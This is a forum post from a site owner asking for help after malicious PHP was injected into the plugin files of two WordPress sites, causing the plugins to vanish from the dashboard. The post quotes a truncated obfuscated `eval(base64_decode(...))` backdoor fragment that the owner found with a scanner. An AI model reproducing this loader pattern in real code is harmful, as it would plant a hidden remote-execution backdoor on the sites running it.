All my plugins disappeared!

I have 2 wordpress sites under a same hosting, https://www.hongcurley.com and https://www.v2vision.co this morning I went into one of my Dashboard checking the updates, I opened the plugins page and got a whole list of warning saying that plugins had been ‘deactivated’ as the header was missing or something, but underneath that in the list of installed plugins I got this message “You do not appear to have any plugins available at this time.”

I refresh, all of the plug ins are gone. But when I tried to reinstall one, it said failed because it was already installed.

So I login to check cpanel under “wp-content – plugins” they all there, however when i check the php code i found half page of malicious code injected before the normal <?php line.

I went into the other website admin realized it infected with the same issue.

I ran a virus scan on both of my sites all showing clean and no “god_mod” code attached.

I installed Exploit Scanner, after scan i found some code “Often used to execute malicious code” like:

33-712); $pcugcaixuf=$fezeqfmubo-1; ?><?php eval (base64_decode (“aWYgKGlzc2V0KCRfUkVRVUVTVFsnc21kJ10pKSB7IGV2YW

if all of my php got infected, how can I remove the code in once instead remove them one by one? I’m using Mac, wasn’t sure what caused this problem? been hacked?? I didn’t install the new plugin by the way. It’s just an update of a theme Avada within wordpress admin, not even an download and upload process.

Help please!!!! This is my whole 2 years work…